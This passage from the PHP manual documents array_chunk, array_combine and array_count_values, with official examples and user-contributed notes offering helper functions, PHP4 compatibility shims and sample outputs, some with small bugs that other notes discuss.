        return $input;
    }
?>
andreas dot schuhmacher87 at googlemail dot com 14-Apr-2008 06:01
multibyte and multi-dimensional-array support, have fun!

<?php
    define('ARRAY_KEY_FC_LOWERCASE', 25); //FOO => fOO
    define('ARRAY_KEY_FC_UPPERCASE', 20); //foo => Foo
    define('ARRAY_KEY_UPPERCASE', 15); //foo => FOO
    define('ARRAY_KEY_LOWERCASE', 10); //FOO => foo
    define('ARRAY_KEY_USE_MULTIBYTE', true); //use mutlibyte functions

    /**
    * change the case of array-keys
    *
    * use: array_change_key_case_ext(array('foo' => 1, 'bar' => 2), ARRAY_KEY_UPPERCASE);
    * result: array('FOO' => 1, 'BAR' => 2)
    *
    * @param    array
    * @param    int
    * @return     array
    */
    function array_change_key_case_ext(array $array, $case = 10, $useMB = false, $mbEnc = 'UTF-8') {
        $newArray = array();

        //for more speed define the runtime created functions in the global namespace

        //get function
        if($useMB === false) {
            $function = 'strToUpper'; //default
            switch($case) {
                //first-char-to-lowercase
                case 25:
                    //maybee lcfirst is not callable
                    if(!function_exists('lcfirst'))
                        $function = create_function('$input', '
                            return strToLower($input[0]) . substr($input, 1, (strLen($input) - 1));
                        ');
                    else $function = 'lcfirst';
                    break;

                //first-char-to-uppercase
                case 20:
                    $function = 'ucfirst';
                    break;

                //lowercase
                case 10:
                    $function = 'strToLower';
            }
        } else {
            //create functions for multibyte support
            switch($case) {
                //first-char-to-lowercase
                case 25:
                    $function = create_function('$input', '
                        return mb_strToLower(mb_substr($input, 0, 1, \'' . $mbEnc . '\')) .
                            mb_substr($input, 1, (mb_strlen($input, \'' . $mbEnc . '\') - 1), \'' . $mbEnc . '\');
                    ');

                    break;

                //first-char-to-uppercase
                case 20:
                    $function = create_function('$input', '
                        return mb_strToUpper(mb_substr($input, 0, 1, \'' . $mbEnc . '\')) .
                            mb_substr($input, 1, (mb_strlen($input, \'' . $mbEnc . '\') - 1), \'' . $mbEnc . '\');
                    ');

                    break;

                //uppercase
                case 15:
                    $function = create_function('$input', '
                        return mb_strToUpper($input, \'' . $mbEnc . '\');
                    ');
                    break;

                //lowercase
                default: //case 10:
                    $function = create_function('$input', '
                        return mb_strToLower($input, \'' . $mbEnc . '\');
                    ');
            }
        }

        //loop array
        foreach($array as $key => $value) {
            if(is_array($value)) //$value is an array, handle keys too
                $newArray[$function($key)] = array_change_key_case_ex($value, $case, $useMB);
            elseif(is_string($key))
                $newArray[$function($key)] = $value;
            else $newArray[$key] = $value; //$key is not a string
        } //end loop

        return $newArray;
    }
?>
dot dot dot dot dot alexander at gmail dot com 30-Jan-2008 09:22
Basically this is the function if your version is lower than 4.2.0
<?php
if ( !defined('CASE_LOWER') )define('CASE_LOWER', 0);
if ( !defined('CASE_UPPER') )define('CASE_UPPER', 1);

if(!function_exists("array_change_key_case")){
    function array_change_key_case($input, $case=0){
        if(!is_array($input))return FALSE;
        $product = array();
        foreach($input as $key => $value){
            if($case){ //Upper
                $key2 = (  (is_string($key)) ? (strtoupper($key)) : ($key)  );
                $product[$key2] = $value;
            }
            else{ //Lower
                $key2 = (  (is_string($key)) ? (strtolower($key)) : ($key)  );
                $product[$key2] = $value;
            }
        }
        return $product;
    }/* endfunction array_change_key_case */
}/* endfunction exists array_change_key_case*/
?>
john at doe dot com 26-Sep-2007 12:04
<?php
function array_change_value_case($input, $case = CASE_LOWER)
{
    $aRet = array();

    if (!is_array($input))
    {
        return $aRet;
    }

    foreach ($input as $key => $value)
    {
        if (is_array($value))
        {
            $aRet[$key] = array_change_value_case($value, $case);
            continue;
        }

        $aRet[$key] = ($case == CASE_UPPER ? strtoupper($value) : strtolower($value));
    }

    return $aRet;
}
?>
cm at gameswelt dot de 10-Aug-2007 04:11
I just changed the code a little bit so you havent got a code that repeats itself.

<?php

function array_change_key_case_secure($array = array(), $case = CASE_UPPER){
    $secure = array();
    $functionWrap = array(CASE_UPPER => 'strtoupper',
                            CASE_LOWER => 'strtolower');

    foreach($array as $key => $val){
        if(isset($functionWrap[$key])){
            $key = $functionWrap[$case]($key);
            $secure[$key][] = $val;
        } else {
            die('Not a known Type');
        }
    }

    foreach($secure as $key => $val){
        if(count($secure[$key]) == 1){
            $secure[$key] = $val[0];
        }
    }

    return $secure;
}

$myArray = array('A' => 'Hello',
                    'B' => 'World',
                    'a' => 'how are you?');

print_r($myArray);
$myArray = array_change_key_case_secure($myArray);
print_r($myArray);

/*
Array
(
    [A] => Hello
    [B] => World
    [a] => how are you?
)
Array
(
    [A] => Array
        (
            [0] => Hello
            [1] => how are you?
        )

    [B] => World
)
*/
aidan at php dot net 01-Jun-2004 08:06
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
Array Functions
array_chunk
Array Functions


Split an array into chunks

array_change_key_case
array_combine
Array Functions
PHP Manual

array_chunk

(PHP 4 >= 4.2.0, PHP 5)

array_chunk — Split an array into chunks

Description

array array_chunk ( array $input , int $size [, bool $preserve_keys = false ] )

Chunks an array into size large chunks. The last chunk may contain less than size elements.

Parameters

input

The array to work on

size

The size of each chunk

preserve_keys

When set to TRUE keys will be preserved. Default is FALSE which will reindex the chunk numerically

Return Values

Returns a multidimensional numerically indexed array, starting with zero, with each dimension containing size elements.

Errors/Exceptions

If size is less than 1 E_WARNING will be thrown and NULL returned.

Examples

Example #1 array_chunk() example

<?php
$input_array = array('a', 'b', 'c', 'd', 'e');
print_r(array_chunk($input_array, 2));
print_r(array_chunk($input_array, 2, true));
?>

The above example will output:

Array
(
    [0] => Array
        (
            [0] => a
            [1] => b
        )

    [1] => Array
        (
            [0] => c
            [1] => d
        )

    [2] => Array
        (
            [0] => e
        )

)
Array
(
    [0] => Array
        (
            [0] => a
            [1] => b
        )

    [1] => Array
        (
            [2] => c
            [3] => d
        )

    [2] => Array
        (
            [4] => e
        )

)

See Also

  • array_slice() - Extract a slice of the array

User Contributed Notes

nate at ruggfamily dot com 19-Jul-2010 09:00
If you just want to grab one chunk from an array, you should use array_slice().
dead dot screamer at seznam dot cz 27-Jan-2009 02:28
This function can be used to reverse effect of <?php array_Chunk()?>.
<?php
function array_Unchunk($array)
{
    return call_User_Func_Array('array_Merge',$array);
}

header('Content-Type: text/plain');
$array=array(
    array(
            'Black Canyon City',
            'Chandler',
            'Flagstaff',
            'Gilbert',
            'Glendale',
            'Globe',
    ),
    array(
            'Mesa',
            'Miami',
            'Phoenix',
            'Peoria',
            'Prescott',
            'Scottsdale',
    ),
    array(
            'Sun City',
            'Surprise',
            'Tempe',
            'Tucson',
            'Wickenburg',
    ),
);
var_Dump(array_Unchunk($array));
?>

Output:
array(17) {
  [0]=>
  string(17) "Black Canyon City"
  [1]=>
  string(8) "Chandler"
  [2]=>
  string(9) "Flagstaff"
  [3]=>
  string(7) "Gilbert"
  [4]=>
  string(8) "Glendale"
  [5]=>
  string(5) "Globe"
  [6]=>
  string(4) "Mesa"
  [7]=>
  string(5) "Miami"
  [8]=>
  string(7) "Phoenix"
  [9]=>
  string(6) "Peoria"
  [10]=>
  string(8) "Prescott"
  [11]=>
  string(10) "Scottsdale"
  [12]=>
  string(8) "Sun City"
  [13]=>
  string(8) "Surprise"
  [14]=>
  string(5) "Tempe"
  [15]=>
  string(6) "Tucson"
  [16]=>
  string(10) "Wickenburg"
}
Rasmus Schultz (http://mindplay.dk) 23-Jan-2009 01:59
Unfortunately, this function only accepts real arrays, not iterable objects... For that, you need this function:

<?php

function break_array($array, $page_size) {

  $arrays = array();
  $i = 0;

  foreach ($array as $index => $item) {
    if ($i++ % $page_size == 0) {
      $arrays[] = array();
      $current = & $arrays[count($arrays)-1];
    }
    $current[] = $item;
  }

  return $arrays;

}

?>
OIS 10-Jun-2008 05:31
Response to azspot at gmail dot com function partition.

$columns = 3;
$citylist = array('Black Canyon City', 'Chandler', 'Flagstaff', 'Gilbert', 'Glendale', 'Globe', 'Mesa', 'Miami', 'Phoenix', 'Peoria', 'Prescott', 'Scottsdale', 'Sun City', 'Surprise', 'Tempe', 'Tucson', 'Wickenburg');
print_r(array_chunk($citylist, ceil(count($citylist) / $columns)));

Output:
Array
(
    [0] => Array
        (
            [0] => Black Canyon City
            [1] => Chandler
            [2] => Flagstaff
            [3] => Gilbert
            [4] => Glendale
            [5] => Globe
        )

    [1] => Array
        (
            [0] => Mesa
            [1] => Miami
            [2] => Phoenix
            [3] => Peoria
            [4] => Prescott
            [5] => Scottsdale
        )

    [2] => Array
        (
            [0] => Sun City
            [1] => Surprise
            [2] => Tempe
            [3] => Tucson
            [4] => Wickenburg
        )

)
azspot at gmail dot com 08-May-2007 04:53
Tried to use an example below (#56022) for array_chunk_fixed that would "partition" or divide an array into a desired number of split lists -- a useful procedure for "chunking" up objects or text items into columns, or partitioning any type of data resource. However, there seems to be a flaw with array_chunk_fixed — for instance, try it with a nine item list and with four partitions. It results in 3 entries with 3 items, then a blank array.

So, here is the output of my own dabbling on the matter:

<?php

function partition( $list, $p ) {
    $listlen = count( $list );
    $partlen = floor( $listlen / $p );
    $partrem = $listlen % $p;
    $partition = array();
    $mark = 0;
    for ($px = 0; $px < $p; $px++) {
        $incr = ($px < $partrem) ? $partlen + 1 : $partlen;
        $partition[$px] = array_slice( $list, $mark, $incr );
        $mark += $incr;
    }
    return $partition;
}

$citylist = array( "Black Canyon City", "Chandler", "Flagstaff", "Gilbert", "Glendale", "Globe", "Mesa", "Miami",
                   "Phoenix", "Peoria", "Prescott", "Scottsdale", "Sun City", "Surprise", "Tempe", "Tucson", "Wickenburg" );
print_r( partition( $citylist, 3 ) );

?>

Array
(
    [0] => Array
        (
            [0] => Black Canyon City
            [1] => Chandler
            [2] => Flagstaff
            [3] => Gilbert
            [4] => Glendale
            [5] => Globe
        )

    [1] => Array
        (
            [0] => Mesa
            [1] => Miami
            [2] => Phoenix
            [3] => Peoria
            [4] => Prescott
            [5] => Scottsdale
        )

    [2] => Array
        (
            [0] => Sun City
            [1] => Surprise
            [2] => Tempe
            [3] => Tucson
            [4] => Wickenburg
        )

)
21-Mar-2006 04:19
Here my array_chunk_values( ) with values distributed by lines (columns are balanced as much as possible) :

<?php
    function array_chunk_vertical($data, $columns) {
        $n = count($data) ;
        $per_column = floor($n / $columns) ;
        $rest = $n % $columns ;

        // The map
        $per_columns = array( ) ;
        for ( $i = 0 ; $i < $columns ; $i++ ) {
            $per_columns[$i] = $per_column + ($i < $rest ? 1 : 0) ;
        }

        $tabular = array( ) ;
        foreach ( $per_columns as $rows ) {
            for ( $i = 0 ; $i < $rows ; $i++ ) {
                $tabular[$i][ ] = array_shift($data) ;
            }
        }

        return $tabular ;
    }

    header('Content-Type: text/plain') ;

    $data = array_chunk_vertical(range(1, 31), 7) ;
    foreach ( $data as $row ) {
        foreach ( $row as $value ) {
            printf('[%2s]', $value) ;
        }
        echo "\r\n" ;
    }

    /*
        Output :

        [ 1][ 6][11][16][20][24][28]
        [ 2][ 7][12][17][21][25][29]
        [ 3][ 8][13][18][22][26][30]
        [ 4][ 9][14][19][23][27][31]
        [ 5][10][15]
    */
?>
magick dit crow ot gmail dit com 16-Oct-2005 09:50
Mistake key did not do what I thought. A patch.

function array_bucket($array,$bucket_size)// bucket filter
{
    if (!is_array($array)) return false;
    $buckets=array_chunk($array,$bucket_size);// chop up array into bucket size units
    $I=0;
    foreach ($buckets as $bucket)
    {
        $new_array[$I++]=array_sum($bucket)/count($bucket);
    }
    return $new_array;// return new array
}
magick dit crow ot gmail dit com 15-Oct-2005 10:58
This function takes each few elements of an array and averages them together. It then places the averages in a new array. It is used to smooth out data. For example lets say you have a years worth of hit data to a site and you want to graph it by the week. Then use a bucket of 7 and graph the functions output.

function array_bucket($array, $bucket_size)  // bucket filter
{
    if (!is_array($array)) return false; // no empty arrays
    $buckets=array_chunk($array,$bucket_size);  // chop up array into bucket size units
    foreach ($buckets as $bucket) $new_array[key($buckets])=array_sum($bucket)/count($bucket);
    return $new_array;  // return new smooth array
}
webmaster at cafe-clope dot net 20-Aug-2005 04:27
based on the same syntax, useful about making columns :

<?php
function array_chunk_fixed($input, $num, $preserve_keys = FALSE) {
    $count = count($input) ;
    if($count)
        $input = array_chunk($input, ceil($count/$num), $preserve_keys) ;
    $input = array_pad($input, $num, array()) ;
    return $input ;
}

$array = array(1, 2, 3, 4, 5) ;
print_r(array_chunk($array, 2)) ;
print_r(array_chunk_fixed($array, 2)) ;
?>

---- array_chunk : fixed number of sub-items ----
Array(
    [0] => Array(
            [0] => 1
            [1] => 2
        )
    [1] => Array(
            [0] => 3
            [1] => 4
        )

    [2] => Array(
            [0] => 5
        )
)

---- array_chunk : fixed number of columns ----
Array(
    [0] => Array(
            [0] => 1
            [1] => 2
            [2] => 3
        )
    [1] => Array(
            [0] => 4
            [1] => 5
        )
)
phpm at nreynolds dot me dot uk 17-Dec-2004 04:21
array_chunk() is helpful when constructing tables with a known number of columns but an unknown number of values, such as a calendar month. Example:

<?php

$values = range(1, 31);
$rows = array_chunk($values, 7);

print "<table>\n";
foreach ($rows as $row) {
    print "<tr>\n";
    foreach ($row as $value) {
        print "<td>" . $value . "</td>\n";
    }
    print "</tr>\n";
}
print "</table>\n";

?>

Outputs:

1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31

The other direction is possible too, with the aid of a function included at the bottom of this note. Changing this line:
  $rows = array_chunk($values, 7);

To this:
  $rows = array_chunk_vertical($values, 7);

Produces a vertical calendar with seven columns:

1 6  11 16 21 26 31
2 7  12 17 22 27
3 8  13 18 23 28
4 9  14 19 24 29
5 10 15 20 25 30

You can also specify that $size refers to the number of rows, not columns:
  $rows = array_chunk_vertical($values, 7, false, false);

Producing this:

1 8  15 22 29
2 9  16 23 30
3 10 17 24 31
4 11 18 25
5 12 19 26
6 13 20 27
7 14 21 28

The function:

<?php

function array_chunk_vertical($input, $size, $preserve_keys = false, $size_is_horizontal = true)
{
    $chunks = array();

    if ($size_is_horizontal) {
        $chunk_count = ceil(count($input) / $size);
    } else {
        $chunk_count = $size;
    }

    for ($chunk_index = 0; $chunk_index < $chunk_count; $chunk_index++) {
        $chunks[] = array();
    }

    $chunk_index = 0;
    foreach ($input as $key => $value)
    {
        if ($preserve_keys) {
            $chunks[$chunk_index][$key] = $value;
        } else {
            $chunks[$chunk_index][] = $value;
        }

        if (++$chunk_index == $chunk_count) {
            $chunk_index = 0;
        }
    }

    return $chunks;
}

?>
mick at vandermostvanspijk dot nl 07-Apr-2004 03:02
[Editors note: This function was based on a previous function by gphemsley at nospam users dot sourceforge.net]

For those of you that need array_chunk() for PHP < 4.2.0, this function should do the trick:

<?php
if (!function_exists('array_chunk')) {
    function array_chunk( $input, $size, $preserve_keys = false) {
        @reset( $input );

        $i = $j = 0;

        while( @list( $key, $value ) = @each( $input ) ) {
            if( !( isset( $chunks[$i] ) ) ) {
               $chunks[$i] = array();
            }

            if( count( $chunks[$i] ) < $size ) {
                if( $preserve_keys ) {
                    $chunks[$i][$key] = $value;
                    $j++;
                } else {
                    $chunks[$i][] = $value;
                }
            } else {
                $i++;

                if( $preserve_keys ) {
                    $chunks[$i][$key] = $value;
                    $j++;
                } else {
                    $j = 0;
                    $chunks[$i][$j] = $value;
                }
            }
        }

        return $chunks;
    }
}
?>
array_change_key_case
array_combine
Array Functions


Creates an array by using one array for keys and another for its values

array_chunk
array_count_values
Array Functions
PHP Manual

array_combine

(PHP 5)

array_combine — Creates an array by using one array for keys and another for its values

Description

array array_combine ( array $keys , array $values )

Creates an array by using the values from the keys array as keys and the values from the values array as the corresponding values.

Parameters

keys

Array of keys to be used. Illegal values for key will be converted to string.

values

Array of values to be used

Return Values

Returns the combined array, FALSE if the number of elements for each array isn't equal.

Errors/Exceptions

Throws E_WARNING if the number of elements in keys and values does not match.

Changelog

Version | Description
5.4.0 | Previous versions issued E_WARNING and returned FALSE for empty arrays.

Examples

Example #1 A simple array_combine() example

<?php
$a = array('green', 'red', 'yellow');
$b = array('avocado', 'apple', 'banana');
$c = array_combine($a, $b);

print_r($c);
?>

The above example will output:

Array
(
    [green]  => avocado
    [red]    => apple
    [yellow] => banana
)

See Also

  • array_merge() - Merge one or more arrays
  • array_walk() - Apply a user function to every member of an array
  • array_values() - Return all the values of an array

User Contributed Notes

dejiakala at gmail dot com 27-Oct-2011 03:32
I needed to read CSV files into associative arrays with column headers as keys. Then I ran into a problem when you have empty columns at the end of a row because array_combine returns false if both arrays don't have the same number of elements. This function based on quecoder at gmail's combine_arr() below allowed me to pad either array or not when parsing my CSVs to arrays.
$a is the array of header columns and $b is an array of the current row retrieved with fgetcsv()

<?php

function array_combine_special($a, $b, $pad = TRUE) {
    $acount = count($a);
    $bcount = count($b);
    // more elements in $a than $b but we don't want to pad either
    if (!$pad) {
        $size = ($acount > $bcount) ? $bcount : $acount;
        $a = array_slice($a, 0, $size);
        $b = array_slice($b, 0, $size);
    } else {
        // more headers than row fields
        if ($acount > $bcount) {
            $more = $acount - $bcount;
            // how many fields are we missing at the end of the second array?
            // Add empty strings to ensure arrays $a and $b have same number of elements
            $more = $acount - $bcount;
            for($i = 0; $i < $more; $i++) {
                $b[] = "";
            }
        // more fields than headers
        } else if ($acount < $bcount) {
            $more = $bcount - $acount;
            // fewer elements in the first array, add extra keys
            for($i = 0; $i < $more; $i++) {
                $key = 'extra_field_0' . $i;
                $a[] = $key;
            }

        }
    }

    return array_combine($a, $b);
}
?>
Dan LaManna 17-Sep-2011 08:12
I needed a function that truncated extra values, and only went as far as keys without throwing a warning as array_combine does.

<?php
function safeArrayCombine($keys, $values) {
    $combinedArray = array();

    for ($i=0, $keyCount = count($keys); $i < $keyCount; $i++) {
         $combinedArray[$keys[$i]] = $values[$i];
    }

    return $combinedArray;
}
?>
zequez at gmail dot com 27-Mar-2011 03:51
If two keys are the same, the second one prevails.
Example:
<?php
print_r(array_combine(Array('a','a','b'), Array(1,2,3)));
?>
Returns:
Array
(
    [a] => 2
    [b] => 3
)
claude dot pache at gmail dot com 12-May-2010 10:04
array_combine() has a strange bug/misfeature (as of PHP 5.3.2): There is no logical reason for <? array_combine(array(), array()) ?> throwing a warning and returning FALSE, instead of returning <? array() ?> (see http://bugs.php.net/bug.php?id=34857). Here is a quick workaround:
<?php
function array_real_combine($a, $b)
{
    return $a===array() && $b===array() ? array() : array_combine($a, $b);
}
?>
bradentkeith at dot dontspam dot gmail dot com 01-Apr-2010 12:20
I needed a function that would take keys from one unequal array and combine them with the values of another. Real life application:
Select 4 product types.
Each product has a serial.
There are 4 sets of products.

    <?php
        function array_combine2($arr1, $arr2) {
            $count1 = count($arr1);
            $count2 = count($arr2);
            $numofloops = $count2/$count1;

            $i = 0;
            while($i < $numofloops){
                $arr3 = array_slice($arr2, $count1*$i, $count1);
                $arr4[] = array_combine($arr1,$arr3);
                $i++;
            }

            return $arr4;
        }
    ?>

Input:
Array
(
    [0] => SMART Board
    [1] => Projector
    [2] => Speakers
    [3] => Splitter
)
, Array
(
    [0] => serial to smart board1
    [1] => serial to projector 1
    [2] => serial to speakers 1
    [3] => serials to splitter 1
    [4] => serials to smart board 2
    [5] => serials to projector 2
    [6] => serials to speakers 2
    [7] => serials to splitter 2
)

Array
(
    [0] => Array
        (
            [SMART Board] => serial to smart board1
            [Projector] => serial to projector 1
            [Speakers] => serial to speakers 1
            [Splitter] => serials to splitter 1
        )

    [1] => Array
        (
            [SMART Board] => serials to smart board 2
            [Projector] => serials to projector 2
            [Speakers] => serials to speakers 2
            [Splitter] => serials to splitter 2
        )

)
xavier at api-meal dot eu 23-Sep-2009 03:37
<?php
/**
 * Return alternatives defined by values of each parameters.
 *
 * Exemple :
 *
 * array_alternatives(array('foo','bar'), array('baz', 'qux'));
 * array(
 *     array('foo', 'baz'),
 *     array('bar', 'baz'),
 *     array('foo', 'qux'),
 *     array('bar', 'qux'),
 * );
 *
 * array_alternatives(array('a'), array('simple-minded'), array('solution'));
 * array(
 *     array('a', 'simple-minded', 'solution')
 * );
 *
 * array_alternatives(array('a'), array('red', 'blue'), array('car'));
 * array(
 *     array('a', 'red',  'car'),
 *     array('a', 'blue', 'car'),
 * );
 *
 * @param array $first_element
 * @param array $second_element
 * @return array
 * @author Xavier Barbosa
 */
function array_alternatives(array $first_element, array $second_element)
{
    $lists = func_get_args();
    $total_lists = func_num_args();

    for($i=0; $i<$total_lists; $i++)
    {
        $list =& $lists[$i];
        if (is_array($list) === FALSE)
            throw new Exception("Parameter $i is not an array.");
        if (count($list) === 0)
            throw new Exception("Parameter $i has no element.");
        unset($list);
    }

    // Initialize our alternatives
    $alternatives = array();
    foreach($lists[0] as &$value)
    {
        array_push($alternatives, array($value));
        unset($value);
    }
    unset($lists[0]);

    // Process alternatives
    for($i=1; $i<$total_lists; $i++)
    {
        $list =& $lists[$i];

        $new_alternatives = array();
        foreach($list as &$value)
        {
            foreach($alternatives as $_)
            {
                array_push($_, $value);
                array_push($new_alternatives, $_);
            }
        }

        // Rotate references, it's cheaper than copy array like `$alternatives = $new_alternatives;`
        $alternatives =& $new_alternatives;
        unset($new_alternatives, $list, $lists[$i]);
    }

    return $alternatives;
}
?>
quecoder at gmail 26-Aug-2008 12:00
<?php
// If they are not of same size, here is solution:

$abbreviations = array("AL", "AK", "AZ", "AR", "TX", "CA");
$states = array("Alabama", "Alaska", "Arizona", "Arkansas");
function combine_arr($a, $b)
{
    $acount = count($a);
    $bcount = count($b);
    $size = ($acount > $bcount) ? $bcount : $acount;
    $a = array_slice($a, 0, $size);
    $b = array_slice($b, 0, $size);
    return array_combine($a, $b);
}
$combined = combine_arr($abbreviations, $states);
print_r($combined);

//  Output
//  Array ( [AL] => Alabama [AK] => Alaska [AZ] => Arizona
//  [AR] => Arkansas )
?>
J.D.D. 09-Aug-2008 01:31
This may be obvious, but I don't see anything about it on the manual page, so a friendly warning...  The array you are using as keys must have all unique values.  If not, array elements get dropped.

<?php
$arr_notUnique = array('one' , 'one' , 'two');
$arr_b = array('red' , 'green' , 'blue');

$arr_combo = array_combine($arr_notUnique, $arr_b);
?>

Results:  Array ( [one] => green [two] => blue )

NOT:  Array ( [one] => red [one] => green [two] => blue )
Zoran 02-Apr-2008 04:57
Also, Khalys function only works if keys of both arrays are the same because array_combine ignores keys. An easy way to ignore them is by taking array_values(). Floats can be casted to strings to avoid overwriting.

So, the PHP4 function could look something like this:
<?php
function array_combine($arr1, $arr2) {
    $out = array();

    $arr1 = array_values($arr1);
    $arr2 = array_values($arr2);

    foreach($arr1 as $key1 => $value1) {
        $out[(string)$value1] = $arr2[$key1];
    }

    return $out;
}
?>
Mike Jean 18-Mar-2008 09:59
Khaly's PHP4 code below does not work correctly in all cases. Consider when your array consists of floats:

<?php

$okay = array(0, 10, 20, 30);
$not_okay = array(0, 0.5, 1, 1.5);

$foo = array_combine($okay, $okay);
$bar = array_combine($not_okay, $not_okay);

/*

Results:

$foo = {
  [0]=> int(0)
  [10]=> int(10)
  [20]=> int(20)
  [30]=> int(30)
}

$bar = {
  [0]=> float(0.5)
  [1]=> float(1.5)
}

*/

?>

What can you do? In my case, I was just zipping up some select-box options, so I converted everything in my floats to strings.
Khaly 04-Oct-2007 02:11
This is the function for PHP4 :

<?php

function array_combine($arr1,$arr2) {
   $out = array();
   foreach($arr1 as $key1 => $value1)    {
    $out[$value1] = $arr2[$key1];
   }
   return $out
}

?>
neoyahuu at yahoo dot com 19-Mar-2007 08:36
Some tips for merging same values in an array

<?php
$array1 = array(1,2,3,4,5,6,7,8,9,10,11,12);
$array2 = array(1,2,3,13);

$merged = array_merge($array1,$array2);

// output normal array_merge
echo '<pre>After array_merge :
';
print_r($merged);
echo '</pre>';

// do double flip for merging values in an array
$merged = array_flip($merged);
$merged = array_flip($merged);

// Output after
echo '<pre>After Double Flip :
';
print_r($merged);
echo '</pre>';
?>

Output ::

After array_merge :
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
    [10] => 11
    [11] => 12
    [12] => 1
    [13] => 2
    [14] => 3
    [15] => 13
)

After Double Flip :
Array
(
    [12] => 1
    [13] => 2
    [14] => 3
    [3] => 4
    [4] => 5
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
    [10] => 11
    [11] => 12
    [15] => 13
)
ifeghali at interveritas dot net 26-Feb-2005 10:53
Use that code to group an array by its first element.

<?

function groupbyfirst($array)
{
    foreach ($array as $row)
    {
        $firstkey = array_keys($row);
        $firstkey = $firstkey[0];
        $key = $row[$firstkey];
        unset($row[$firstkey]);
        $newarray[$key][] = $row;
    }
    return $newarray;
}

?>

Example:

<?

$array =
Array(
    0 => Array('color' => 'red','name' => 'apple', 'quantity' => '3'),
    1 => Array('color' => 'green','name' => 'pear', 'quantity' => '2'),
    2 => Array('color' => 'yellow','name' => 'corn', 'quantity' => '3'),
    3 => Array('color' => 'blue','name' => 'grape', 'quantity' => '4'),
    4 => Array('color' => 'yellow','name' => 'banana', 'quantity' => '13'),
);

$output = groupbyfirst($array);
print_r($output);

?>

will return:

Array
(
 [red] => Array ( [0] => Array ( [name] => apple [quantity] => 3 ) )
 [green] => Array ( [0] => Array ( [name] => pear [quantity] => 2 ) )
 [yellow] => Array ( [0] => Array ( [name] => corn [quantity] => 3 ), [1] => Array ( [name] => banana [quantity] => 13 ) )
 [blue] => Array ( [0] => Array ( [name] => grape [quantity] => 4 ))
)

Or you can use mysql recordset:

<?
while ($row=mysql_fetch_array($result,MYSQL_ASSOC))
{
    $firstkey = array_keys($row);
    $firstkey = $firstkey[0];
    $key = $row[$firstkey];
    unset($row[$firstkey]);
    $newarray[$key][] = $row;
}
?>
aidan at php dot net 20-May-2004 07:15
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
array_chunk
array_count_values
Array Functions


Counts all the values of an array

array_combine
array_diff_assoc
Array Functions
PHP Manual

array_count_values

(PHP 4, PHP 5)

array_count_values — Counts all the values of an array

Description

array array_count_values ( array $input )

array_count_values() returns an array using the values of the input array as keys and their frequency in input as values.

Parameters

input

The array of values to count

Return Values

Returns an associative array of values from input as keys and their count as value.

Errors/Exceptions

Throws E_WARNING for every element which is not string or integer.

Examples

Example #1 array_count_values() example

<?php
$array = array(1, "hello", 1, "world", "hello");
print_r(array_count_values($array));
?>

The above example will output:

Array
(
    [1] => 2
    [hello] => 2
    [world] => 1
)

See Also

  • count() - Count all elements in an array, or something in an object
  • array_unique() - Removes duplicate values from an array
  • array_values() - Return all the values of an array
  • count_chars() - Return information about characters used in a string

User Contributed Notes

muhamed dot pasha at gmail dot com 15-Dec-2010 12:56
Hy,

i had a problem which was associated with the array_count_values function, but did not solve my problem realy well so i made a function by my self and maybe it can help also someone else.

The problem was that i had a table like this:
CL     PRODNUM        QN      DATE
1    4221110030    2    10.12.2010
2    4221110031    1    10.12.2010
3    5241110002    1    10.12.2010
3    5241110003    1    11.12.2010
3    5241110001    2    11.12.2010
3    6241110001    1    11.12.2010
1    2231110999    1    10.12.2010
1    2231110999    1    11.12.2010
(it go's on and on ... )

And i wanted to calculate for every unique date how much the quantity of the specific CL is.
For example the result should be like this:

10.12.2010: [1] -> 3
10.12.2010: [2] -> 1
10.12.2010: [3] -> 1

11.12.2010: [1] -> 1
11.12.2010: [2] -> 0
11.12.2010: [3] -> 4

So, i had to make a function which should look for unique values of a date and then for that date get the quantity of uniqe CL's.

For note: i put all the values of the table into an array:
<?php
$a = array();
$a['cl'] = 1;
$a['prodnum'] = '4221110030';
$a['qn'] = '2';
$a['date'] = '10.12.2010';
?>

The function looks like this:

<?php

function csav( $array, $distinctV, $searchInV, $sumValue ){

        #result array
    $result = array();

    #finding the unique dates
    $array1 = array_unique($array[$searchInV]);
    $array2 = array();
    $unique1 = array_merge($array2, $array1);

    #finding the unique CL's
    $array3 = array_unique($array[$distinctV]);
    $array4 = array();
    $unique2 = array_merge($array4, $array3);

    #for statements through the unique dates
    for($k = 0; $k < count($unique1); $k++){

        for($i = 0; $i < count($unique2); $i++){

            $sum = 0;
            for($j = 0; $j < count($array[$distinctV]); $j++){

                if($array[$distinctV][$j] == $unique2[$i] and $array[$searchInV][$j] == $unique1[$k])
                    $sum += $array[$sumValue][$j];
            }
            $result[$unique1[$k]][$unique2[$i]] = $sum;
        }

    }

    return $result;
}

?>

The use of function has to be like this:

<?php
$result = csav($a, 'cl', 'date', 'qn');
print_r($result);
?>

And the result looks like this:

Array ( [2010-12-10] => Array ( [1] => 14 [2] => 17 [3] => 4 ) [2010-12-13] => Array ( [1] => 13 [2] => 17 [3] => 4 ) [2010-12-14] => Array ( [1] => 13 [2] => 17 [3] => 4 ) [2010-12-15] => Array ( [1] => 14 [2] => 17 [3] => 4 ) [2010-12-16] => Array ( [1] => 14 [2] => 17 [3] => 2 ) )

This is it.
Hope it helps someone.
szczepan.krolgmail.c0m 17-Jan-2010 11:21
Here is a Version with one or more arrays, which have similar values in it:
Use $lower=true/false to ignore/set case Sensitiv.

<?php

$ar1[] = array("red","green","yellow","blue");
$ar1[] = array("green","yellow","brown","red","white","yellow");
$ar1[] = array("red","green","brown","blue","black","yellow");
#$ar1= array("red","green","brown","blue","black","red","green"); // Possible with one or multiple Array

$res = array_icount_values ($ar1);
print_r($res);

function array_icount_values($arr,$lower=true) {
     $arr2=array();
     if(!is_array($arr['0'])){$arr=array($arr);}
     foreach($arr as $k=> $v){
      foreach($v as $v2){
      if($lower==true) {$v2=strtolower($v2);}
      if(!isset($arr2[$v2])){
          $arr2[$v2]=1;
      }else{
           $arr2[$v2]++;
           }
    }
    }
    return $arr2;
}
/*
Will print:
Array
(
